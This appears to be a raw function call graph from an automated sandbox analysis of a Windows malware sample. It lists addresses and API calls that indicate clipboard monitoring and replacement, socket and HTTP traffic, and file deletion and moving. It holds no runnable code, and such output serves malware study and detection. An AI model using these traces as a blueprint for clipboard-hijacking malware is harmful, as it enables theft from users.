4680 401430 _invalid_parameter 3 API calls 4679->4680 4681 4033c9 _invalid_parameter 4679->4681 4680->4679 4682 401430 _invalid_parameter 3 API calls 4681->4682 4683 4033ef _invalid_parameter 4681->4683 4682->4681 4684 401430 _invalid_parameter 3 API calls 4683->4684 4685 403415 _invalid_parameter 4683->4685 4684->4683 4685->4661 4686 401430 _invalid_parameter 3 API calls 4685->4686 4686->4685 4688 40288e 4687->4688 4689 401400 _invalid_parameter 7 API calls 4688->4689 4690 4028ab 4689->4690 4691 401400 _invalid_parameter 7 API calls 4690->4691 4692 4028ba _invalid_parameter 4691->4692 4693 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4692->4693 4694 40291a _invalid_parameter 4692->4694 4693->4692 4695 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4694->4695 4696 402940 4694->4696 4695->4694 4696->4661 4698 401400 _invalid_parameter 7 API calls 4697->4698 4699 402a17 4698->4699 4700 401400 _invalid_parameter 7 API calls 4699->4700 4701 402a26 4700->4701 4702 401400 _invalid_parameter 7 API calls 4701->4702 4709 402a35 _invalid_parameter 4702->4709 4703 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4703->4709 4704 402bc1 _invalid_parameter 4705 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4704->4705 4706 402be7 _invalid_parameter 4704->4706 4705->4704 4707 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4706->4707 4708 402c0d 4706->4708 4707->4706 4708->4661 4709->4703 4709->4704 4711 401400 _invalid_parameter 7 API calls 4710->4711 4712 40295f _invalid_parameter 4711->4712 4713 402880 _invalid_parameter 9 API calls 4712->4713 4714 402998 _invalid_parameter 4713->4714 4715 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4714->4715 4716 4029c3 4714->4716 4715->4714 4716->4676 4718 4086d2 4717->4718 4721 408620 4718->4721 4722 408a10 __aligned_recalloc_base 7 API calls 4721->4722 4727 408630 4722->4727 4723 4064ef 4723->4581 4725 40866c 4728 408b60 __aligned_recalloc_base 3 API calls 4725->4728 4727->4723 4727->4725 4730 407b60 4727->4730 4737 408140 4727->4737 4742 408510 4727->4742 4728->4723 4731 407b69 4730->4731 4732 407b73 4730->4732 4731->4727 4732->4731 4733 407bb6 memset 4732->4733 4733->4731 4734 407bd7 4733->4734 4734->4731 4735 407bdd memcpy 4734->4735 4750 407930 4735->4750 4738 40814d 4737->4738 4739 408157 4737->4739 4738->4727 4739->4738 4740 40824f memcpy 4739->4740 4755 407e80 4739->4755 4740->4739 4744 408526 4742->4744 4749 40851c 4742->4749 4743 407e80 57 API calls 4745 4085a7 4743->4745 4744->4743 4744->4749 4746 407930 6 API calls 4745->4746 4745->4749 4747 4085c6 4746->4747 4748 4085db memcpy 4747->4748 4747->4749 4748->4749 4749->4727 4751 40797e 4750->4751 4753 40793e 4750->4753 4751->4731 4753->4751 4754 407870 6 API calls 4753->4754 4754->4753 4756 407e91 4755->4756 4757 407e9b 4755->4757 4756->4739 4757->4756 4761 407cc0 4757->4761 4760 407e80 57 API calls 4760->4756 4762 407ccd 4761->4762 4763 407cd7 4761->4763 4762->4756 4762->4760 4763->4762 4764 407d60 4763->4764 4765 407d65 4763->4765 4766 407d48 4763->4766 4772 407620 4764->4772 4769 407930 6 API calls 4765->4769 4768 407930 6 API calls 4766->4768 4768->4764 4769->4764 4771 407e0c memset 4771->4762 4773 407639 4772->4773 4781 40762f 4772->4781 4774 407500 6 API calls 4773->4774 4773->4781 4775 407732 4774->4775 4776 408a10 __aligned_recalloc_base 7 API calls 4775->4776 4777 407781 4776->4777 4778 407380 44 API calls 4777->4778 4777->4781 4779 4077ae 4778->4779 4780 408b60 __aligned_recalloc_base GetCurrentProcessId HeapValidate HeapFree 4779->4780 4780->4781 4781->4762 4781->4771 4801 408740 GetCurrentProcessId 4782->4801 4784 408a5b 4785 4088b0 __aligned_recalloc_base 5 API calls 4784->4785 4790 408a67 __aligned_recalloc_base 4784->4790 4785->4790 4786 404477 4786->4568 4786->4571 4787 408b10 HeapAlloc 4787->4790 4788 408ada HeapReAlloc 4788->4790 4789 408760 __aligned_recalloc_base HeapValidate 4789->4790 4790->4786 4790->4787 4790->4788 4790->4789 4791 408b60 __aligned_recalloc_base 3 API calls 4790->4791 4791->4790 4795 40aa7b 4792->4795 4793 408a10 __aligned_recalloc_base 7 API calls 4793->4795 4794 404506 4794->4571 4796 405c00 4794->4796 4795->4793 4795->4794 4797 408a10 __aligned_recalloc_base 7 API calls 4796->4797 4798 405c10 4797->4798 4799 405c57 4798->4799 4800 405c1c memcpy CreateThread CloseHandle 4798->4800 4799->4571 4800->4799 4801->4784 4803 40c5ce 4802->4803 4804 40c49d htons inet_addr setsockopt 4802->4804 4803->4371 4805 409430 8 API calls 4804->4805 4806 40c516 bind lstrlenA sendto ioctlsocket 4805->4806 4811 40c56b 4806->4811 4809 40c592 4859 4094f0 shutdown closesocket 4809->4859 4810 408a50 9 API calls 4810->4811 4811->4809 4811->4810 4850 40c380 4811->4850 4866 40c150 memset InternetCrackUrlA InternetOpenA 4812->4866 4815 40cc3e 4815->4371 4817 40cc0b 4818 408b60 __aligned_recalloc_base 3 API calls 4817->4818 4818->4815 4824 40cc01 SysFreeString 4824->4817 4973 4093f0 inet_addr 4827->4973 4830 4094dd 4835 40ce90 4830->4835 4831 40948c connect 4832 4094a0 getsockname 4831->4832 4833 4094d4 4831->4833 4832->4833 4976 4094f0 shutdown closesocket 4833->4976 4977 4093d0 inet_ntoa 4835->4977 4837 40cea6 4838 40b2d0 11 API calls 4837->4838 4839 40cec5 4838->4839 4845 40cf08 4839->4845 4978 40cc50 memset InternetCrackUrlA InternetOpenA 4839->4978 4842 40cefc 4844 408b60 __aligned_recalloc_base 3 API calls 4842->4844 4843 408b60 __aligned_recalloc_base 3 API calls 4843->4842 4844->4845 4845->4377 4848 408c84 4846->4848 4847 408c8a 4847->4370 4848->4847 4849 408b60 GetCurrentProcessId HeapValidate HeapFree __aligned_recalloc_base 4848->4849 4849->4848 4858 40c39c 4850->4858 4851 40c464 4851->4811 4852 40c3b8 recvfrom 4853 40c3e6 StrCmpNIA 4852->4853 4854 40c3d9 Sleep 4852->4854 4855 40c405 StrStrIA 4853->4855 4853->4858 4854->4858 4856 40c426 StrChrA 4855->4856 4855->4858 4860 40b180 4856->4860 4858->4851 4858->4852 4859->4803 4864 40b18b 4860->4864 4861 40b191 lstrlenA 4862 40b1a4 4861->4862 4861->4864 4862->4858 4863 408a10 __aligned_recalloc_base 7 API calls 4863->4864 4864->4861 4864->4862 4864->4863 4865 40b1c0 memcpy 4864->4865 4865->4862 4865->4864 4867 40c1f1 InternetConnectA 4866->4867 4868 40c367 4866->4868 4869 40c35a InternetCloseHandle 4867->4869 4870 40c22a HttpOpenRequestA 4867->4870 4868->4815 4879 40bef0 4868->4879 4869->4868 4871 40c260 HttpSendRequestA 4870->4871 4872 40c34d InternetCloseHandle 4870->4872 4873 40c340 InternetCloseHandle 4871->4873 4876 40c27d 4871->4876 4872->4869 4873->4872 4874 40c2cb 4874->4873 4875 40c29e InternetReadFile 4875->4874 4875->4876 4876->4874 4876->4875 4877 408a50 9 API calls 4876->4877 4878 40c2e6 memcpy 4877->4878 4878->4876 4908 403f20 4879->4908 4882 40bff0 4882->4817 4889 40cad0 4882->4889 4883 40bf1a SysAllocString 4884 40bf31 CoCreateInstance 4883->4884 4885 40bfe7 4883->4885 4886 40bfdd SysFreeString 4884->4886 4888 40bf56 4884->4888 4887 408b60 __aligned_recalloc_base 3 API calls 4885->4887 4886->4885 4887->4882 4888->4886 4925 40c000 4889->4925 4892 40c9b0 4930 40c7d0 4892->4930 4895 40ca59 4895->4824 4905 40b2d0 4895->4905 4898 40c930 6 API calls 4899 40ca07 4898->4899 4899->4895 4947 40c750 4899->4947 4902 40c750 6 API calls 4904 40ca3f 4902->4904 4904->4895 4952 40c0f0 4904->4952 4968 40b240 4905->4968 4913 403f2d 4908->4913 4909 403f33 lstrlenA 4909->4913 4914 403f46 4909->4914 4911 408a10 __aligned_recalloc_base 7 API calls 4911->4913 4913->4909 4913->4911 4913->4914 4915 408b60 __aligned_recalloc_base 3 API calls 4913->4915 4916 403e00 4913->4916 4920 403ed0 4913->4920 4914->4882 4914->4883 4915->4913 4917 403e17 MultiByteToWideChar 4916->4917 4918 403e0a lstrlenA 4916->4918 4919 403e3c 4917->4919 4918->4917 4919->4913 4921 403edb 4920->4921 4922 403ee1 lstrlenA 4921->4922 4923 403e00 2 API calls 4921->4923 4924 403f17 4921->4924 4922->4921 4923->4921 4924->4913 4926 40c026 4925->4926 4927 40c0a3 lstrcmpiW 4926->4927 4928 40c0cb 4926->4928 4929 40c0bb SysFreeString 4926->4929 4927->4926 4927->4929 4928->4817 4928->4892 4929->4926 4932 40c7f6 4930->4932 4931 40c90d 4931->4895 4942 40c930 4931->4942 4932->4931 4933 40c883 lstrcmpiW 4932->4933 4934 40c903 SysFreeString 4933->4934 4935 40c896 4933->4935 4934->4931 4936 40c0f0 2 API calls 4935->4936 4938 40c8a4 4936->4938 4937 40c8f5 4937->4934 4938->4934 4938->4937 4939 40c8d3 lstrcmpiW 4938->4939 4940 40c8e5 4939->4940 4941 40c8eb SysFreeString 4939->4941 4940->4941 4941->4937 4943 40c0f0 2 API calls 4942->4943 4945 40c94b 4943->4945 4944 40c987 4944->4895 4944->4898 4945->4944 4946 40c7d0 6 API calls 4945->4946 4946->4944 4948 40c0f0 2 API calls 4947->4948 4949 40c76b 4948->4949 4950 40c7a7 4949->4950 4956 40c5f0 4949->4956 4950->4902 4950->4904 4953 40c116 4952->4953 4954 40c12d 4953->4954 4955 40c000 2 API calls 4953->4955 4954->4895 4955->4954 4957 40c616 4956->4957 4958 40c72d 4957->4958 4959 40c6a3 lstrcmpiW 4957->4959 4958->4950 4960 40c723 SysFreeString 4959->4960 4961 40c6b6 4959->4961 4960->4958 4962 40c0f0 2 API calls 4961->4962 4964 40c6c4 4962->4964 4963 40c715 4963->4960 4964->4960 4964->4963 4965 40c6f3 lstrcmpiW 4964->4965 4966 40c705 4965->4966 4967 40c70b SysFreeString 4965->4967 4966->4967 4967->4963 4971 40b24d 4968->4971 4969 40b1f0 _vscprintf wvsprintfA 4969->4971 4970 408a50 9 API calls 4970->4971 4971->4969 4971->4970 4972 40b268 SysFreeString 4971->4972 4972->4824 4974 40941c socket 4973->4974 4975 409409 gethostbyname 4973->4975 4974->4830 4974->4831 4975->4974 4976->4830 4977->4837 4979 40ce81 4978->4979 4980 40ccf4 InternetConnectA 4978->4980 4979->4842 4979->4843 4981 40ce74 InternetCloseHandle 4980->4981 4982 40cd2d HttpOpenRequestA 4980->4982 4981->4979 4983 40cd63 HttpAddRequestHeadersA HttpSendRequestA 4982->4983 4984 40ce67 InternetCloseHandle 4982->4984 4985 40ce5a InternetCloseHandle 4983->4985 4986 40cdad 4983->4986 4984->4981 4985->4984 4987 40cdc4 InternetReadFile 4986->4987 4988 40cdf1 4986->4988 4989 408a50 9 API calls 4986->4989 4987->4986 4987->4988 4988->4985 4990 40ce0c memcpy 4989->4990 4990->4986 4996 4058b7 4991->4996 4992 405a8b 4994 405a94 SysFreeString 4992->4994 4995 405a9e SysFreeString 4992->4995 4993 408b60 __aligned_recalloc_base 3 API calls 4993->4992 4994->4995 4995->4381 4997 405830 CoCreateInstance 4996->4997 4998 405a06 SysAllocString 4996->4998 4999 4058d2 4996->4999 4997->4996 4998->4996 4998->4999 4999->4992 4999->4993 5001 40a7aa 5000->5001 5002 40a7ae 5000->5002 5001->4387 5004 40a760 CryptAcquireContextW 5002->5004 5005 40a79b 5004->5005 5006 40a77d CryptGenRandom CryptReleaseContext 5004->5006 5005->5001 5006->5005 5007->4403 5047 409660 gethostname 5008->5047 5012 40994c strstr 5013 40995c 5012->5013 5014 40999d 5012->5014 5051 4093d0 inet_ntoa 5013->5051 5053 4093d0 inet_ntoa 5014->5053 5017 4099ab strstr 5019 4099bb 5017->5019 5020 4099fc EnterCriticalSection 5017->5020 5018 40996a strstr 5021 40997a 5018->5021 5027 409939 5018->5027 5054 4093d0 inet_ntoa 5019->5054 5025 409a14 5020->5025 5052 4093d0 inet_ntoa 5021->5052 5024 4099c9 strstr 5024->5027 5028 4099d9 5024->5028 5033 409a3f 5025->5033 5056 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5025->5056 5026 409988 strstr 5026->5014 5026->5027 5027->4403 5055 4093d0 inet_ntoa 5028->5055 5031 409b38 LeaveCriticalSection 5031->5027 5032 4099e7 strstr 5032->5020 5032->5027 5033->5031 5034 4089f0 7 API calls 5033->5034 5035 409a83 5034->5035 5035->5031 5057 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5035->5057 5037 409aa1 5038 409ac3 Sleep 5037->5038 5039 409acd 5037->5039 5041 409af3 5037->5041 5038->5037 5040 408b60 __aligned_recalloc_base 3 API calls 5039->5040 5040->5041 5041->5031 5058 409550 5041->5058 5043->4415 5045 409550 14 API calls 5044->5045 5046 409653 LeaveCriticalSection 5045->5046 5046->4408 5048 409687 gethostbyname 5047->5048 5049 4096a3 5047->5049 5048->5049 5049->5027 5050 4093d0 inet_ntoa 5049->5050 5050->5012 5051->5018 5052->5026 5053->5017 5054->5024 5055->5032 5056->5033 5057->5037 5059 409564 5058->5059 5066 40955f 5058->5066 5060 408a10 __aligned_recalloc_base 7 API calls 5059->5060 5061 409578 5060->5061 5062 4095d4 CreateFileW 5061->5062 5061->5066 5063 409623 InterlockedExchange 5062->5063 5064 4095f7 WriteFile FlushFileBuffers CloseHandle 5062->5064 5065 408b60 __aligned_recalloc_base 3 API calls 5063->5065 5064->5063 5065->5066 5066->5031 5068 40ba1d 5067->5068 5069 40ba81 5068->5069 5070 40ba41 WaitForSingleObject 5068->5070 5069->4422 5069->4423 5070->5068 5071 40ba5c CloseHandle 5070->5071 5071->5068 5072 40b840 5073 40b857 5072->5073 5090 40b8ae 5072->5090 5074 40b861 5073->5074 5075 40b8b3 5073->5075 5076 40b8fd 5073->5076 5073->5090 5077 4089f0 7 API calls 5074->5077 5079 40b8d8 5075->5079 5080 40b8cb InterlockedDecrement 5075->5080 5105 40a4a0 5076->5105 5082 40b86e 5077->5082 5081 408b60 __aligned_recalloc_base 3 API calls 5079->5081 5080->5079 5083 40b8e4 5081->5083 5094 40df90 5082->5094 5085 408b60 __aligned_recalloc_base 3 API calls 5083->5085 5085->5090 5089 40b89b InterlockedIncrement 5089->5090 5093 40b923 5093->5090 5110 40a100 5093->5110 5124 40a5a0 5093->5124 5095 40b880 5094->5095 5096 40df94 5094->5096 5098 4097e0 5095->5098 5096->5095 5097 40dfa5 InterlockedIncrement 5096->5097 5097->5095 5099 409660 2 API calls 5098->5099 5100 4097ef 5099->5100 5101 4097f9 5100->5101 5102 4097fd EnterCriticalSection 5100->5102 5101->5089 5101->5090 5103 40981c LeaveCriticalSection 5102->5103 5103->5101 5106 40a4b3 5105->5106 5107 40a4dd memcpy 5105->5107 5108 408a50 9 API calls 5106->5108 5107->5093 5109 40a4d4 5108->5109 5109->5107 5112 40a111 5110->5112 5116 40a12f 5112->5116 5117 409e50 20 API calls 5112->5117 5120 409fa0 13 API calls 5112->5120 5121 409b50 28 API calls 5112->5121 5128 40a020 5112->5128 5135 409bc0 EnterCriticalSection 5112->5135 5140 405790 5112->5140 5145 4057d0 5112->5145 5150 4056a0 5112->5150 5157 405700 5112->5157 5114 408b60 __aligned_recalloc_base 3 API calls 5115 40a494 5114->5115 5115->5093 5116->5114 5117->5112 5120->5112 5121->5112 5125 40a5c9 5124->5125 5126 40a5be 5124->5126 5125->5126 5127 40a5e1 memmove 5125->5127 5126->5093 5127->5126 5129 40a031 lstrlenA 5128->5129 5130 40aa70 7 API calls 5129->5130 5133 40a04f 5130->5133 5131 40a05b 5132 408b60 __aligned_recalloc_base 3 API calls 5131->5132 5134 40a0df 5131->5134 5132->5134 5133->5129 5133->5131 5134->5112 5136 409bd8 5135->5136 5137 409c14 LeaveCriticalSection 5136->5137 5160 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5136->5160 5137->5112 5139 409c03 5139->5137 5161 405730 5140->5161 5143 40ba90 17 API calls 5144 4057c9 5143->5144 5144->5112 5146 405730 65 API calls 5145->5146 5147 4057ef 5146->5147 5149 40581c 5147->5149 5171 405650 5147->5171 5149->5112 5182 404820 EnterCriticalSection 5150->5182 5152 4056ba 5153 4056ed 5152->5153 5187 4055b0 5152->5187 5153->5112 5156 408b60 __aligned_recalloc_base 3 API calls 5156->5153 5194 4048e0 EnterCriticalSection 5157->5194 5159 405722 5159->5112 5160->5139 5164 405743 5161->5164 5162 405780 5162->5143 5162->5144 5164->5162 5165 404730 EnterCriticalSection 5164->5165 5166 40b100 63 API calls 5165->5166 5168 404750 5166->5168 5167 4047fe LeaveCriticalSection 5167->5164 5168->5167 5169 408b60 __aligned_recalloc_base 3 API calls 5168->5169 5170 4047fb 5169->5170 5170->5167 5174 409db0 5171->5174 5175 40a7e0 3 API calls 5174->5175 5176 409dbb 5175->5176 5177 409dd7 lstrlenA 5176->5177 5178 40aa70 7 API calls 5177->5178 5179 409e0d 5178->5179 5180 405695 5179->5180 5181 408b60 __aligned_recalloc_base 3 API calls 5179->5181 5180->5149 5181->5180 5183 40483e 5182->5183 5184 4048ca LeaveCriticalSection 5183->5184 5185 408bd0 8 API calls 5183->5185 5184->5152 5186 40489c 5185->5186 5186->5184 5188 408a10 __aligned_recalloc_base 7 API calls 5187->5188 5189 4055c2 memcpy 5188->5189 5190 409db0 13 API calls 5189->5190 5191 40562c 5190->5191 5192 408b60 __aligned_recalloc_base 3 API calls 5191->5192 5193 40563b 5192->5193 5193->5156 5218 40b160 5194->5218 5197 404b1e LeaveCriticalSection 5197->5159 5198 40b100 63 API calls 5200 40491b 5198->5200 5199 404a33 5201 404a5c 5199->5201 5202 404450 15 API calls 5199->5202 5200->5197 5200->5199 5204 408b60 __aligned_recalloc_base 3 API calls 5200->5204 5203 408b60 __aligned_recalloc_base 3 API calls 5201->5203 5202->5201 5205 404a7d 5203->5205 5206 404992 5204->5206 5205->5197 5207 404a8c CreateFileW 5205->5207 5208 408bd0 8 API calls 5206->5208 5207->5197 5209 404aaf 5207->5209 5210 4049a2 5208->5210 5213 404b0a FlushFileBuffers CloseHandle 5209->5213 5214 404acc WriteFile 5209->5214 5211 408b60 __aligned_recalloc_base 3 API calls 5210->5211 5212 4049c9 5211->5212 5215 40aa70 7 API calls 5212->5215 5213->5197 5214->5209 5216 404a00 5215->5216 5217 405c00 10 API calls 5216->5217 5217->5199 5221 40a6b0 5218->5221 5223 40a6c3 5221->5223 5222 408bd0 8 API calls 5222->5223 5223->5222 5224 40a610 62 API calls 5223->5224 5227 4064d0 61 API calls 5223->5227 5228 40a6dd 5223->5228 5224->5223 5225 408b60 __aligned_recalloc_base 3 API calls 5226 404904 5225->5226 5226->5197 5226->5198 5227->5223 5228->5225 5229 40d9c0 5230 40d9d5 ioctlsocket 5229->5230 5231 40daa0 5230->5231 5239 40d9fa 5230->5239 5232 408b60 __aligned_recalloc_base 3 API calls 5231->5232 5234 40daa6 5232->5234 5233 40da89 WaitForSingleObject 5233->5230 5233->5231 5235 40da24 recvfrom 5235->5233 5235->5239 5236 408a50 9 API calls 5236->5239 5237 40da69 InterlockedExchangeAdd 5240 40d890 5237->5240 5239->5233 5239->5235 5239->5236 5239->5237 5241 40d8c5 5240->5241 5242 40d8ef 5241->5242 5243 4089f0 7 API calls 5241->5243 5250 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5242->5250 5243->5242 5245 40d912 5251 40dd20 5245->5251 5247 40d925 5248 40d9ae 5247->5248 5249 40d99b memmove 5247->5249 5248->5239 5249->5247 5250->5245 5252 40dd32 5251->5252 5253 40dd45 memcpy 5251->5253 5254 408a50 9 API calls 5252->5254 5255 40dd61 5253->5255 5256 40dd3f 5254->5256 5255->5247 5256->5253 5623 40be00 5633 40dc60 5623->5633 5625 40be8d 5627 40be28 InterlockedExchangeAdd 5628 40be6c WaitForSingleObject 5627->5628 5630 40be0e 5627->5630 5629 40be85 5628->5629 5628->5630 5650 40dbf0 5629->5650 5630->5625 5630->5627 5630->5628 5631 409fa0 13 API calls 5630->5631 5645 409b70 EnterCriticalSection 5630->5645 5631->5630 5634 4089f0 7 API calls 5633->5634 5635 40dc6b CreateEventA socket 5634->5635 5636 40dca2 5635->5636 5637 40dca7 5635->5637 5638 40dbf0 8 API calls 5636->5638 5639 40dd0a 5637->5639 5640 40dcad bind 5637->5640 5638->5637 5639->5630 5641 40dce0 5640->5641 5642 40dcec CreateThread 5640->5642 5643 40dbf0 8 API calls 5641->5643 5642->5639 5644 40dce5 5643->5644 5644->5630 5646 409ba7 LeaveCriticalSection 5645->5646 5647 409b8f 5645->5647 5646->5630 5648 40a7a0 3 API calls 5647->5648 5649 409b9a 5648->5649 5649->5646 5651 40dc50 5650->5651 5652 40dbf4 5650->5652 5651->5625 5652->5651 5653 40dbfc SetEvent WaitForSingleObject CloseHandle 5652->5653 5658 40dc24 5653->5658 5659 40dc40 5653->5659 5655 40dc4a 5657 408b60 __aligned_recalloc_base 3 API calls 5655->5657 5656 408b60 GetCurrentProcessId HeapValidate HeapFree __aligned_recalloc_base 5656->5658 5657->5651 5658->5656 5658->5659 5660 4094f0 shutdown closesocket 5659->5660 5660->5655 5661 40bd80 5664 40dac0 5661->5664 5663 40bda1 5665 40dadf 5664->5665 5679 40dbd3 5664->5679 5666 408a10 __aligned_recalloc_base 7 API calls 5665->5666 5665->5679 5667 40db06 memcpy htons 5666->5667 5668 40db56 sendto 5667->5668 5674 40dbac 5667->5674 5669 40db75 InterlockedExchangeAdd 5668->5669 5670 40dba8 5668->5670 5669->5668 5672 40db8b 5669->5672 5673 40dbc9 5670->5673 5670->5674 5671 408b60 __aligned_recalloc_base 3 API calls 5675 40dbbb 5671->5675 5676 408b60 __aligned_recalloc_base 3 API calls 5672->5676 5677 408b60 __aligned_recalloc_base 3 API calls 5673->5677 5674->5671 5675->5663 5678 40db9a 5676->5678 5677->5679 5678->5663 5679->5663 5257 4048c5 5258 40483e 5257->5258 5259 4048ca LeaveCriticalSection 5258->5259 5260 408bd0 8 API calls 5258->5260 5261 40489c 5260->5261 5261->5259 5680 405285 5692 40522b 5680->5692 5681 40525b lstrcmpiW 5681->5692 5682 4053d6 FindNextFileW 5684 4053f2 FindClose 5682->5684 5685 4051ff lstrcmpW 5682->5685 5683 4052c2 PathMatchSpecW 5689 4052e3 wsprintfW SetFileAttributesW DeleteFileW 5683->5689 5683->5692 5686 4053ff 5684->5686 5688 405215 lstrcmpW 5685->5688 5685->5692 5687 405340 PathFileExistsW 5690 405356 wsprintfW wsprintfW 5687->5690 5687->5692 5688->5692 5689->5692 5691 4053c0 MoveFileExW 5690->5691 5690->5692 5691->5682 5692->5681 5692->5682 5692->5683 5692->5687 5693 404df0 11 API calls 5692->5693 5693->5692 5262 40b750 5263 4097e0 4 API calls 5262->5263 5264 40b763 5263->5264 5265 40b77a 5264->5265 5267 40b5f0 InterlockedExchangeAdd 5264->5267 5268 40b60d 5267->5268 5278 40b606 5267->5278 5284 40b500 5268->5284 5271 40b62d InterlockedIncrement 5281 40b637 5271->5281 5273 40b660 5294 4093d0 inet_ntoa 5273->5294 5275 40b66c 5276 40b730 InterlockedDecrement 5275->5276 5295 4094f0 shutdown closesocket 5276->5295 5278->5265 5279 408a10 __aligned_recalloc_base 7 API calls 5279->5281 5280 40b430 6 API calls 5280->5281 5281->5273 5281->5276 5281->5279 5281->5280 5282 40a100 118 API calls 5281->5282 5283 408b60 __aligned_recalloc_base 3 API calls 5281->5283 5291 409fa0 5281->5291 5282->5281 5283->5281 5285 40b50d socket 5284->5285 5286 40b522 htons connect 5285->5286 5287 40b57f 5285->5287 5286->5287 5288 40b56a 5286->5288 5287->5285 5289 40b573 5287->5289 5296 4094f0 shutdown closesocket 5288->5296 5289->5271 5289->5278 5292 409db0 13 API calls 5291->5292 5293 409fe1 5292->5293 5293->5281 5294->5275 5295->5278 5296->5289 5297 40b3d0 5302 40b370 5297->5302 5300 40b370 send 5301 40b3fe 5300->5301 5303 40b381 send 5302->5303 5304 40b3b5 5303->5304 5305 40b39e 5303->5305 5304->5300 5304->5301 5305->5303 5305->5304 5694 405410 Sleep GetModuleFileNameW 5695 40d070 3 API calls 5694->5695 5698 405440 5695->5698 5696 405598 ExitThread 5697 404c20 4 API calls 5697->5698 5698->5696 5698->5697 5699 405588 Sleep 5698->5699 5700 405479 5698->5700 5699->5698 5701 404bc0 4 API calls 5700->5701 5702 40548a 5701->5702 5703 4054b0 GetVolumeInformationW GetDiskFreeSpaceExW _aulldiv wsprintfW 5702->5703 5704 4054ab 5702->5704 5705 405526 wsprintfW 5703->5705 5706 40553b wsprintfW 5703->5706 5705->5706 5707 404f30 49 API calls 5706->5707 5707->5704 5708 409510 5709 409513 WaitForSingleObject 5708->5709 5710 409541 5709->5710 5711 40952b InterlockedDecrement 5709->5711 5712 40953a 5711->5712 5712->5709 5713 409640 16 API calls 5712->5713 5713->5712 5714 404110 GetWindowLongW 5715 404134 5714->5715 5716 404156 5714->5716 5717 404141 5715->5717 5718 4041c7 IsClipboardFormatAvailable 5715->5718 5719 404151 5716->5719 5720 4041a6 5716->5720 5721 40418e SetWindowLongW 5716->5721 5724 404164 SetClipboardViewer SetWindowLongW 5717->5724 5725 404147 5717->5725 5722 4041e3 IsClipboardFormatAvailable 5718->5722 5723 4041da 5718->5723 5726 404344 DefWindowProcA 5719->5726 5720->5719 5727 4041ac SendMessageA 5720->5727 5721->5719 5722->5723 5728 4041f8 IsClipboardFormatAvailable 5722->5728 5730 404215 OpenClipboard 5723->5730 5731 4042dc 5723->5731 5724->5726 5725->5719 5729 4042fd RegisterRawInputDevices ChangeClipboardChain 5725->5729 5727->5719 5728->5723 5729->5726 5730->5731 5733 404225 GetClipboardData 5730->5733 5731->5719 5732 4042e5 SendMessageA 5731->5732 5732->5719 5733->5719 5734 40423d GlobalLock 5733->5734 5734->5719 5735 404255 5734->5735 5736 404268 5735->5736 5737 404289 5735->5737 5738 40429e 5736->5738 5739 40426e 5736->5739 5740 403f20 13 API calls 5737->5740 5755 404040 5738->5755 5741 404274 GlobalUnlock CloseClipboard 5739->5741 5749 403e60 5739->5749 5740->5741 5741->5731 5745 4042c7 5741->5745 5763 403480 lstrlenW 5745->5763 5748 408b60 __aligned_recalloc_base 3 API calls 5748->5731 5752 403e6b 5749->5752 5750 403e71 lstrlenW 5750->5752 5754 403e84 5750->5754 5751 408a10 __aligned_recalloc_base 7 API calls 5751->5752 5752->5750 5752->5751 5753 403ea1 lstrcpynW 5752->5753 5752->5754 5753->5752 5753->5754 5754->5741 5759 40404d 5755->5759 5756 404053 lstrlenA 5758 404066 5756->5758 5756->5759 5757 403e00 2 API calls 5757->5759 5758->5741 5759->5756 5759->5757 5759->5758 5760 408a10 __aligned_recalloc_base 7 API calls 5759->5760 5762 408b60 __aligned_recalloc_base 3 API calls 5759->5762 5800 403ff0 5759->5800 5760->5759 5762->5759 5770 4034b4 5763->5770 5764 40364a 5764->5748 5765 403853 StrStrW 5766 403866 5765->5766 5767 40386a StrStrW 5765->5767 5766->5767 5768 403881 StrStrW 5767->5768 5769 40387d 5767->5769 5774 403894 5768->5774 5769->5768 5770->5764 5771 403750 StrStrW 5770->5771 5777 40365c 5770->5777 5773 40377b StrStrW 5771->5773 5771->5777 5772 4038fe isalpha 5772->5774 5775 403915 isdigit 5772->5775 5776 4037a6 StrStrW 5773->5776 5773->5777 5774->5764 5774->5772 5786 403938 5774->5786 5775->5764 5775->5774 5776->5777 5777->5764 5777->5765 5778 403c6d StrStrW 5780 403c80 5778->5780 5781 403c87 StrStrW 5778->5781 5779 403c1f StrStrW 5782 403c32 5779->5782 5783 403c39 StrStrW 5779->5783 5780->5781 5784 403ca1 StrStrW 5781->5784 5785 403c9a 5781->5785 5782->5783 5787 403c53 StrStrW 5783->5787 5788 403c4c 5783->5788 5790 403cb4 5784->5790 5791 403cbb StrStrW 5784->5791 5785->5784 5786->5778 5786->5779 5787->5778 5789 403c66 5787->5789 5788->5787 5789->5778 5790->5791 5792 403cd5 StrStrW 5791->5792 5793 403cce 5791->5793 5794 403ce8 lstrlenA 5792->5794 5793->5792 5794->5764 5796 403d7b GlobalAlloc 5794->5796 5796->5764 5797 403d96 GlobalLock 5796->5797 5797->5764 5798 403da9 memcpy GlobalUnlock OpenClipboard 5797->5798 5798->5764 5799 403dd6 EmptyClipboard SetClipboardData CloseClipboard 5798->5799 5799->5764 5801 403ffb 5800->5801 5802 404001 lstrlenA 5801->5802 5803 403e00 2 API calls 5801->5803 5804 404034 5801->5804 5802->5801 5803->5801 5804->5759 5805 40b990 5811 40eb80 5805->5811 5808 40b9d0 5809 40b9b7 WaitForSingleObject 5815 40dfd0 5809->5815 5812 40b9a6 5811->5812 5813 40eb87 5811->5813 5812->5808 5812->5809 5813->5812 5836 40e9f0 5813->5836 5816 40e102 5815->5816 5817 40dfd8 5815->5817 5816->5808 5817->5816 5818 40dfe4 EnterCriticalSection 5817->5818 5819 40e080 LeaveCriticalSection SetEvent 5818->5819 5820 40dffb 5818->5820 5821 40e0b3 5819->5821 5822 40e09b 5819->5822 5820->5819 5823 40e00c InterlockedDecrement 5820->5823 5826 40e025 InterlockedExchangeAdd 5820->5826 5834 40e06b InterlockedDecrement 5820->5834 5857 40bb80 GetCurrentThread GetThreadPriority GetCurrentThread SetThreadPriority 5821->5857 5824 40e0a1 PostQueuedCompletionStatus 5822->5824 5823->5820 5824->5821 5824->5824 5826->5820 5828 40e038 